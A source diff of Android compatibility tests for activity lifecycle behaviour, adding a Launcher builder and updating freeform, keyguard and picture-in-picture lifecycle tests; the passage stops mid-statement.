-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.fail;
import android.app.Activity;
+import android.app.ActivityOptions;
import android.app.PictureInPictureParams;
import android.content.ComponentName;
import android.content.Context;
@@ -43,23 +49,47 @@
import android.content.pm.ActivityInfo;
import android.content.res.Configuration;
import android.os.Bundle;
-import android.os.Handler;
+import android.os.Looper;
import android.server.wm.MultiDisplayTestBase;
+import android.server.wm.ObjectTracker;
import android.server.wm.lifecycle.LifecycleLog.ActivityCallback;
+import android.transition.Transition;
+import android.transition.TransitionListenerAdapter;
import android.util.Pair;
+import android.server.wm.cts.R;
+
+import androidx.annotation.NonNull;
import androidx.test.rule.ActivityTestRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Assert;
import org.junit.Before;
+import java.util.ArrayList;
+import java.util.Arrays;
import java.util.List;
+import java.util.function.Consumer;
/** Base class for device-side tests that verify correct activity lifecycle transitions. */
public class ActivityLifecycleClientTestBase extends MultiDisplayTestBase {
+ /**
+ * Activity launch time is evaluated. It is expected to be less than 5 seconds. Otherwise, it's
+ * likely there is a timeout.
+ */
+ private static final long ACTIVITY_LAUNCH_TIMEOUT = 5 * 1000;
+
static final String EXTRA_RECREATE = "recreate";
+ static final String EXTRA_FINISH_IN_ON_CREATE = "finish_in_on_create";
+ static final String EXTRA_FINISH_IN_ON_START = "finish_in_on_start";
static final String EXTRA_FINISH_IN_ON_RESUME = "finish_in_on_resume";
static final String EXTRA_FINISH_AFTER_RESUME = "finish_after_resume";
+ static final String EXTRA_FINISH_IN_ON_PAUSE = "finish_in_on_pause";
+ static final String EXTRA_FINISH_IN_ON_STOP = "finish_in_on_stop";
+ static final String EXTRA_START_ACTIVITY_IN_ON_CREATE = "start_activity_in_on_create";
+ static final String EXTRA_START_ACTIVITY_WHEN_IDLE = "start_activity_when_idle";
static final ComponentName CALLBACK_TRACKING_ACTIVITY =
getComponentName(CallbackTrackingActivity.class);
@@ -67,51 +97,6 @@
static final ComponentName CONFIG_CHANGE_HANDLING_ACTIVITY =
getComponentName(ConfigChangeHandlingActivity.class);
- final ActivityTestRule mFirstActivityTestRule = new ActivityTestRule<>(FirstActivity.class,
- true /* initialTouchMode */, false /* launchActivity */);
-
- final ActivityTestRule mSecondActivityTestRule = new ActivityTestRule<>(SecondActivity.class,
- true /* initialTouchMode */, false /* launchActivity */);
-
- final ActivityTestRule mThirdActivityTestRule = new ActivityTestRule<>(ThirdActivity.class,
- true /* initialTouchMode */, false /* launchActivity */);
-
- final ActivityTestRule mTranslucentActivityTestRule = new ActivityTestRule<>(
- TranslucentActivity.class, true /* initialTouchMode */, false /* launchActivity */);
-
- final ActivityTestRule mSecondTranslucentActivityTestRule = new ActivityTestRule<>(
- SecondTranslucentActivity.class, true /* initialTouchMode */,
- false /* launchActivity */);
-
- final ActivityTestRule mLaunchForResultActivityTestRule = new ActivityTestRule<>(
- LaunchForResultActivity.class, true /* initialTouchMode */, false /* launchActivity */);
-
- final ActivityTestRule mCallbackTrackingActivityTestRule = new ActivityTestRule<>(
- CallbackTrackingActivity.class, true /* initialTouchMode */,
- false /* launchActivity */);
-
- final ActivityTestRule mTranslucentCallbackTrackingActivityTestRule = new ActivityTestRule<>(
- TranslucentCallbackTrackingActivity.class, true /* initialTouchMode */,
- false /* launchActivity */);
-
- final ActivityTestRule mShowWhenLockedCallbackTrackingActivityTestRule = new ActivityTestRule<>(
- ShowWhenLockedCallbackTrackingActivity.class, true /* initialTouchMode */,
- false /* launchActivity */);
-
- final ActivityTestRule mSingleTopActivityTestRule = new ActivityTestRule<>(
- SingleTopActivity.class, true /* initialTouchMode */, false /* launchActivity */);
-
- final ActivityTestRule mConfigChangeHandlingActivityTestRule = new ActivityTestRule<>(
- ConfigChangeHandlingActivity.class, true /* initialTouchMode */,
- false /* launchActivity */);
-
- final ActivityTestRule mPipActivityTestRule = new ActivityTestRule<>(
- PipActivity.class, true /* initialTouchMode */, false /* launchActivity */);
-
- final ActivityTestRule mAlwaysFocusableActivityTestRule = new ActivityTestRule<>(
- AlwaysFocusablePipActivity.class, true /* initialTouchMode */,
- false /* launchActivity */);
-
final ActivityTestRule mSlowActivityTestRule = new ActivityTestRule<>(
SlowActivity.class, true /* initialTouchMode */, false /* launchActivity */);
@@ -134,10 +119,137 @@
mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
}
- /** Launch an activity given a class. */
- protected Activity launchActivity(Class<? extends Activity> activityClass) {
- final Intent intent = new Intent(mTargetContext, activityClass);
- return getInstrumentation().startActivitySync(intent);
+ /** Activity launch builder for lifecycle tests. */
+ class Launcher implements ObjectTracker.Consumable {
+ private int mFlags;
+ private ActivityCallback mExpectedState;
+ private List<String> mExtraFlags = new ArrayList<>();
+ private Consumer<Intent> mPostIntentSetup;
+ private ActivityOptions mOptions;
+ private boolean mNoInstance;
+ private final Class<? extends Activity> mActivityClass;
+ private boolean mSkipLaunchTimeCheck;
+
+ private boolean mLaunchCalled = false;
+
+ /**
+ * @param activityClass Class of the activity to launch.
+ */
+ Launcher(@NonNull Class<? extends Activity> activityClass) {
+ mActivityClass = activityClass;
+ mObjectTracker.track(this);
+ }
+
+ /**
+ * Perform the activity launch. Will wait for an instance of the activity if needed and will
+ * verify the launch time.
+ */
+ Activity launch() throws Exception {
+ mLaunchCalled = true;
+
+ // Prepare the intent
+ final Intent intent = new Intent(mTargetContext, mActivityClass);
+ if (mFlags != 0) {
+ intent.setFlags(mFlags);
+ } else {
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ }
+ for (String flag : mExtraFlags) {
+ intent.putExtra(flag, true);
+ }
+ if (mPostIntentSetup != null) {
+ mPostIntentSetup.accept(intent);
+ }
+ final Bundle optionsBundle = mOptions != null ? mOptions.toBundle() : null;
+
+ // Start measuring time spent on starting the activity
+ final long startTime = System.currentTimeMillis();
+ final Activity activity = SystemUtil.callWithShellPermissionIdentity(() -> {
+ if (mNoInstance) {
+ mTargetContext.startActivity(intent, optionsBundle);
+ return null;
+ }
+ return getInstrumentation().startActivitySync(
+ intent, optionsBundle);
+ });
+ if (!mNoInstance && activity == null) {
+ fail("Must have returned an instance of Activity after launch.");
+ }
+ // Wait for activity to reach the desired state and verify launch time.
+ if (mExpectedState == null) {
+ mExpectedState = CallbackTrackingActivity.class.isAssignableFrom(mActivityClass)
+ ? ON_TOP_POSITION_GAINED : ON_RESUME;
+ }
+ waitAndAssertActivityStates(state(mActivityClass, mExpectedState));
+ if (!mSkipLaunchTimeCheck) {
+ Assert.assertThat(System.currentTimeMillis() - startTime,
+ lessThan(ACTIVITY_LAUNCH_TIMEOUT));
+ }
+
+ return activity;
+ }
+
+ /** Set intent flags for launch. */
+ public Launcher setFlags(int flags) {
+ mFlags = flags;
+ return this;
+ }
+
+ /**
+ * Set the expected lifecycle state to verify. Will be inferred automatically if not set.
+ */
+ public Launcher setExpectedState(ActivityCallback expectedState) {
+ mExpectedState = expectedState;
+ return this;
+ }
+
+ /** Allow the caller to customize the intent right before starting activity. */
+ public Launcher customizeIntent(Consumer<Intent> intentSetup) {
+ mPostIntentSetup = intentSetup;
+ return this;
+ }
+
+ /** Set extra flags to pass as boolean values through the intent. */
+ public Launcher setExtraFlags(String... extraFlags) {
+ mExtraFlags.addAll(Arrays.asList(extraFlags));
+ return this;
+ }
+
+ /** Set the activity options to use for the launch. */
+ public Launcher setOptions(ActivityOptions options) {
+ mOptions = options;
+ return this;
+ }
+
+ /**
+ * Indicate that no instance should be returned. Usually used for activity launches that are
+ * expected to end up in not-active state and when the synchronous instrumentation launch
+ * can timeout.
+ */
+ Launcher setNoInstance() {
+ mNoInstance = true;
+ return this;
+ }
+
+ /** Indicate that launch time verification should not be performed. */
+ Launcher setSkipLaunchTimeCheck() {
+ mSkipLaunchTimeCheck = true;
+ return this;
+ }
+
+ @Override
+ public boolean isConsumed() {
+ return mLaunchCalled;
+ }
+ }
+
+ /**
+ * Launch an activity given a class. Will wait for the launch to finish and verify the launch
+ * time.
+ * @return The launched Activity instance.
+ */
+ Activity launchActivityAndWait(Class<? extends Activity> activityClass) throws Exception {
+ return new Launcher(activityClass).launch();
}
/**
@@ -227,30 +339,68 @@
mLifecycleLogClient = LifecycleLog.LifecycleLogClient.create(this);
mLifecycleLogClient.onActivityCallback(PRE_ON_CREATE);
mLifecycleLogClient.onActivityCallback(ON_CREATE);
+
+ final Intent intent = getIntent();
+ final Intent startOnCreate =
+ intent.getParcelableExtra(EXTRA_START_ACTIVITY_IN_ON_CREATE);
+ if (startOnCreate != null) {
+ startActivity(startOnCreate);
+ }
+
+ final Intent startOnIdle = intent.getParcelableExtra(EXTRA_START_ACTIVITY_WHEN_IDLE);
+ if (startOnIdle != null) {
+ Looper.getMainLooper().getQueue().addIdleHandler(() -> {
+ startActivity(startOnIdle);
+ return false;
+ });
+ }
+
+ if (intent.getBooleanExtra(EXTRA_FINISH_IN_ON_CREATE, false)) {
+ finish();
+ }
}
@Override
protected void onStart() {
super.onStart();
mLifecycleLogClient.onActivityCallback(ON_START);
+
+ if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_START, false)) {
+ finish();
+ }
}
@Override
protected void onResume() {
super.onResume();
mLifecycleLogClient.onActivityCallback(ON_RESUME);
+
+ final Intent intent = getIntent();
+ if (intent.getBooleanExtra(EXTRA_FINISH_IN_ON_RESUME, false)) {
+ finish();
+ } else if (intent.getBooleanExtra(EXTRA_FINISH_AFTER_RESUME, false)) {
+ getWindow().getDecorView().post(this::finish);
+ }
}
@Override
protected void onPause() {
super.onPause();
mLifecycleLogClient.onActivityCallback(ON_PAUSE);
+
+ if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_PAUSE, false)) {
+ finish();
+ }
}
@Override
protected void onStop() {
super.onStop();
mLifecycleLogClient.onActivityCallback(ON_STOP);
+
+ if (getIntent().getBooleanExtra(EXTRA_FINISH_IN_ON_STOP, false)) {
+ finish();
+ }
}
@Override
@@ -322,6 +472,10 @@
}
}
+ // Just another callback tracking activity, nothing special.
+ public static class SecondCallbackTrackingActivity extends CallbackTrackingActivity {
+ }
+
// Translucent callback tracking test activity
public static class TranslucentCallbackTrackingActivity extends CallbackTrackingActivity {
}
@@ -339,31 +493,76 @@
* Test activity that launches {@link ResultActivity} for result.
*/
public static class LaunchForResultActivity extends CallbackTrackingActivity {
+ private static final String EXTRA_FORWARD_EXTRAS = "FORWARD_EXTRAS";
+ public static final String EXTRA_LAUNCH_ON_RESULT = "LAUNCH_ON_RESULT";
+ public static final String EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT =
+ "LAUNCH_ON_RESUME_AFTER_RESULT";
+
+ boolean mReceivedResultOk;
+
+ /** Adds the flag to the extra of intent which will forward to {@link ResultActivity}. */
+ static Consumer<Intent> forwardFlag(String flag) {
+ return intent -> {
+ final Bundle data = new Bundle();
+ data.putBoolean(flag, true);
+ intent.putExtra(EXTRA_FORWARD_EXTRAS, data);
+ };
+ }
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- startForResult();
- }
-
- private void startForResult() {
final Intent intent = new Intent(this, ResultActivity.class);
- intent.putExtras(getIntent());
+ final Bundle forwardExtras = getIntent().getBundleExtra(EXTRA_FORWARD_EXTRAS);
+ if (forwardExtras != null) {
+ intent.putExtras(forwardExtras);
+ }
startActivityForResult(intent, 1 /* requestCode */);
}
- }
- /** Test activity that is started for result and finishes itself in ON_RESUME. */
- public static class ResultActivity extends CallbackTrackingActivity {
@Override
protected void onResume() {
super.onResume();
+ if (mReceivedResultOk
+ && getIntent().getBooleanExtra(EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT, false)) {
+ startActivity(new Intent(this, CallbackTrackingActivity.class));
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ mReceivedResultOk = resultCode == RESULT_OK;
+ if (mReceivedResultOk && getIntent().getBooleanExtra(EXTRA_LAUNCH_ON_RESULT, false)) {
+ startActivity(new Intent(this, CallbackTrackingActivity.class));
+ }
+ }
+ }
+
+ /** Test activity that is started for result. */
+ public static class ResultActivity extends CallbackTrackingActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
setResult(RESULT_OK);
- final Intent intent = getIntent();
- if (intent.getBooleanExtra(EXTRA_FINISH_IN_ON_RESUME, false)) {
- finish();
- } else if (intent.getBooleanExtra(EXTRA_FINISH_AFTER_RESUME, false)) {
- new Handler().postDelayed(() -> finish(), 2000);
+ super.onCreate(savedInstanceState);
+ }
+ }
+
+ /** Test activity with NoDisplay theme that can finish itself. */
+ public static class NoDisplayActivity extends ResultActivity {
+ static final String EXTRA_LAUNCH_ACTIVITY = "extra_launch_activity";
+ static final String EXTRA_NEW_TASK = "extra_new_task";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ if (getIntent().getBooleanExtra(EXTRA_LAUNCH_ACTIVITY, false)) {
+ final Intent intent = new Intent(this, CallbackTrackingActivity.class);
+ if (getIntent().getBooleanExtra(EXTRA_NEW_TASK, false)) {
+ intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+ }
+ startActivity(intent);
}
}
}
@@ -448,6 +647,41 @@
}
}
+ public static class DifferentAffinityActivity extends LifecycleTrackingActivity {
+ }
+
+ public static class TransitionSourceActivity extends LifecycleTrackingActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.transition_source_layout);
+ }
+
+ void launchActivityWithTransition() {
+ final ActivityOptions options = ActivityOptions.makeSceneTransitionAnimation(this,
+ findViewById(R.id.transitionView), "sharedTransition");
+ final Intent intent = new Intent(this, TransitionDestinationActivity.class);
+ startActivity(intent, options.toBundle());
+ }
+ }
+
+ public static class TransitionDestinationActivity extends LifecycleTrackingActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.transition_destination_layout);
+ final Transition sharedElementEnterTransition =
+ getWindow().getSharedElementEnterTransition();
+ sharedElementEnterTransition.addListener(new TransitionListenerAdapter() {
+ @Override
+ public void onTransitionEnd(Transition transition) {
+ super.onTransitionEnd(transition);
+ finishAfterTransition();
+ }
+ });
+ }
+ }
+
static ComponentName getComponentName(Class<? extends Activity> activity) {
return new ComponentName(getInstrumentation().getContext(), activity);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
index 767097b..b6e4d9b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
@@ -32,16 +32,14 @@
import static org.junit.Assume.assumeTrue;
import android.app.Activity;
-import android.app.ActivityManager;
import android.app.ActivityOptions;
import android.content.Intent;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
+import androidx.test.filters.FlakyTest;
import androidx.test.filters.MediumTest;
-import com.android.compatibility.common.util.SystemUtil;
-
import org.junit.Before;
import org.junit.Test;
@@ -53,6 +51,8 @@
*/
@MediumTest
@Presubmit
+@FlakyTest(bugId=137329632)
+@android.server.wm.annotation.Group3
public class ActivityLifecycleFreeformTests extends ActivityLifecycleClientTestBase {
@Before
@@ -64,16 +64,15 @@
@Test
public void testLaunchInFreeform() throws Exception {
// Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
- final ActivityOptions launchOptions = ActivityOptions.makeBasic();
- launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
- final Bundle bundle = launchOptions.toBundle();
+ launchActivityAndWait(CallbackTrackingActivity.class);
// Launch an activity in freeform
- final Intent firstIntent = new Intent(mContext, FirstActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- mTargetContext.startActivity(firstIntent, bundle);
+ final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+ launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
+ new Launcher(FirstActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .setOptions(launchOptions)
+ .launch();
// Wait and assert resume
waitAndAssertActivityState(getComponentName(FirstActivity.class), STATE_RESUMED,
@@ -86,24 +85,26 @@
@Test
public void testMultiLaunchInFreeform() throws Exception {
// Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+ launchActivityAndWait(CallbackTrackingActivity.class);
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
- final Bundle bundle = launchOptions.toBundle();
// Launch three activities in freeform
- final Intent firstIntent = new Intent(mContext, FirstActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- mTargetContext.startActivity(firstIntent, bundle);
+ new Launcher(FirstActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .setOptions(launchOptions)
+ .launch();
- final Intent secondIntent = new Intent(mContext, SecondActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- mTargetContext.startActivity(secondIntent, bundle);
+ new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .setOptions(launchOptions)
+ .launch();
- final Intent thirdIntent = new Intent(mContext, ThirdActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- mTargetContext.startActivity(thirdIntent, bundle);
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .setOptions(launchOptions)
+ .launch();
// Wait for resume
final String message = "Activity should be resumed after launch";
@@ -122,22 +123,23 @@
@Test
public void testLaunchOccludingInFreeform() throws Exception {
// Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+ launchActivityAndWait(CallbackTrackingActivity.class);
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
- final Bundle bundle = launchOptions.toBundle();
// Launch two activities in freeform in the same task
- final Intent firstIntent = new Intent(mContext, FirstActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- mTargetContext.startActivity(firstIntent, bundle);
+ new Launcher(FirstActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .setOptions(launchOptions)
+ .launch();
- final Activity secondActivity = mSecondActivityTestRule.launchActivity(new Intent());
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
- final Intent thirdIntent = new Intent(mContext, ThirdActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- mTargetContext.startActivity(thirdIntent, bundle);
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .setOptions(launchOptions)
+ .launch();
// Wait for valid states
final String stopMessage = "Activity should be stopped after being covered above";
@@ -179,23 +181,23 @@
@Test
public void testLaunchTranslucentInFreeform() throws Exception {
// Launch a fullscreen activity, mainly to prevent setting pending due to task switching.
- mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+ launchActivityAndWait(CallbackTrackingActivity.class);
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
- final Bundle bundle = launchOptions.toBundle();
// Launch two activities in freeform in the same task
- final Intent firstIntent = new Intent(mContext, FirstActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- mTargetContext.startActivity(firstIntent, bundle);
+ new Launcher(FirstActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .setOptions(launchOptions)
+ .launch();
- final Activity transparentActivity = mTranslucentActivityTestRule
- .launchActivity(new Intent());
+ final Activity transparentActivity = launchActivityAndWait(TranslucentActivity.class);
- final Intent thirdIntent = new Intent(mContext, ThirdActivity.class)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- mTargetContext.startActivity(thirdIntent, bundle);
+ new Launcher(ThirdActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .setOptions(launchOptions)
+ .launch();
// Wait for valid states
final String pauseMessage = "Activity should be stopped after transparent launch above";
@@ -243,7 +245,7 @@
public void testPreQTopProcessResumedActivityInFreeform() throws Exception {
// Resume app switches, so the activities that we are going to launch won't be deferred
// since Home activity was started in #setUp().
- SystemUtil.runWithShellPermissionIdentity(ActivityManager::resumeAppSwitches);
+ resumeAppSwitches();
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchWindowingMode(WINDOWING_MODE_FREEFORM);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 2dff252..cce9543 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -28,7 +28,6 @@
import static org.junit.Assume.assumeTrue;
import android.app.Activity;
-import android.content.Intent;
import android.platform.test.annotations.Presubmit;
import androidx.test.filters.FlakyTest;
@@ -44,30 +43,29 @@
*/
@MediumTest
@Presubmit
+@android.server.wm.annotation.Group3
public class ActivityLifecycleKeyguardTests extends ActivityLifecycleClientTestBase {
@Test
- @FlakyTest(bugId = 131005232)
public void testSingleLaunch() throws Exception {
assumeTrue(supportsSecureLock());
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential().gotoKeyguard();
- final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_STOP));
-
+ new Launcher(FirstActivity.class)
+ .setExpectedState(ON_STOP)
+ .setNoInstance()
+ .launch();
LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
}
}
@Test
- @FlakyTest(bugId = 131005232)
public void testKeyguardShowHide() throws Exception {
assumeTrue(supportsSecureLock());
// Launch first activity and wait for resume
- final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(activity, ON_RESUME));
+ final Activity activity = launchActivityAndWait(FirstActivity.class);
// Show and hide lock screen
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
@@ -84,23 +82,21 @@
}
@Test
- @FlakyTest(bugId = 131005232)
+ @FlakyTest(bugId=127741025)
public void testKeyguardShowHideOverSplitScreen() throws Exception {
assumeTrue(supportsSecureLock());
assumeTrue(supportsSplitScreenMultiWindow());
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity);
// Launch second activity to side
- final Activity secondActivity = mSecondActivityTestRule.launchActivity(
- new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
- // Wait for second activity to resume.
- waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
// Leaving the minimized dock, the stack state on the primary split screen should change
// from Paused to Resumed.
waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
@@ -124,7 +120,6 @@
}
@Test
- @FlakyTest(bugId = 131005232)
public void testKeyguardShowHideOverPip() throws Exception {
assumeTrue(supportsSecureLock());
if (!supportsPip()) {
@@ -133,25 +128,26 @@
}
// Launch first activity
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Clear the log before launching to Pip
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
getLifecycleLog().clear();
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
+ new Launcher(PipActivity.class)
+ .setExpectedState(ON_PAUSE)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .launch();
// Wait and assert lifecycle
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Show and hide lock screen
getLifecycleLog().clear();
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential().gotoKeyguard();
waitAndAssertActivityStates(state(firstActivity, ON_STOP));
- waitAndAssertActivityStates(state(pipActivity, ON_STOP));
+ waitAndAssertActivityStates(state(PipActivity.class, ON_STOP));
LifecycleVerifier.assertResumeToStopSequence(FirstActivity.class, getLifecycleLog());
LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
@@ -160,7 +156,8 @@
} // keyguard hidden
// Wait and assert lifecycle
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
+ state(PipActivity.class, ON_PAUSE));
LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
Arrays.asList(ON_RESTART, ON_START, ON_RESUME, ON_PAUSE), "keyguardGone");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index 9024c9a..7159d10 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -34,7 +34,6 @@
import android.app.Activity;
import android.content.ComponentName;
-import android.content.Intent;
import android.platform.test.annotations.Presubmit;
import androidx.test.filters.FlakyTest;
@@ -50,9 +49,9 @@
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:ActivityLifecyclePipTests
*/
-@FlakyTest(bugId = 77652261)
@MediumTest
@Presubmit
+@android.server.wm.annotation.Group3
public class ActivityLifecyclePipTests extends ActivityLifecycleClientTestBase {
@Before
@@ -64,12 +63,12 @@
@Test
public void testGoToPip() throws Exception {
// Launch first activity
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch Pip-capable activity
- final Activity pipActivity = mPipActivityTestRule.launchActivity(new Intent());
+ final Activity pipActivity = launchActivityAndWait(PipActivity.class);
- waitAndAssertActivityStates(state(firstActivity, ON_STOP), state(pipActivity, ON_RESUME));
+ waitAndAssertActivityStates(state(firstActivity, ON_STOP));
// Move activity to Picture-In-Picture
getLifecycleLog().clear();
@@ -89,18 +88,19 @@
@Test
public void testPipOnLaunch() throws Exception {
// Launch first activity
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Clear the log before launching to Pip
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
getLifecycleLog().clear();
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
+ new Launcher(PipActivity.class)
+ .setExpectedState(ON_PAUSE)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .launch();
// Wait and assert lifecycle
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
+ waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
final List<LifecycleLog.ActivityCallback> expectedSequence =
Arrays.asList(ON_PAUSE, ON_RESUME);
@@ -117,18 +117,19 @@
@Test
public void testDestroyPip() throws Exception {
// Launch first activity
- final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Clear the log before launching to Pip
- waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
getLifecycleLog().clear();
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
+ final Activity pipActivity = new Launcher(PipActivity.class)
+ .setExpectedState(ON_PAUSE)
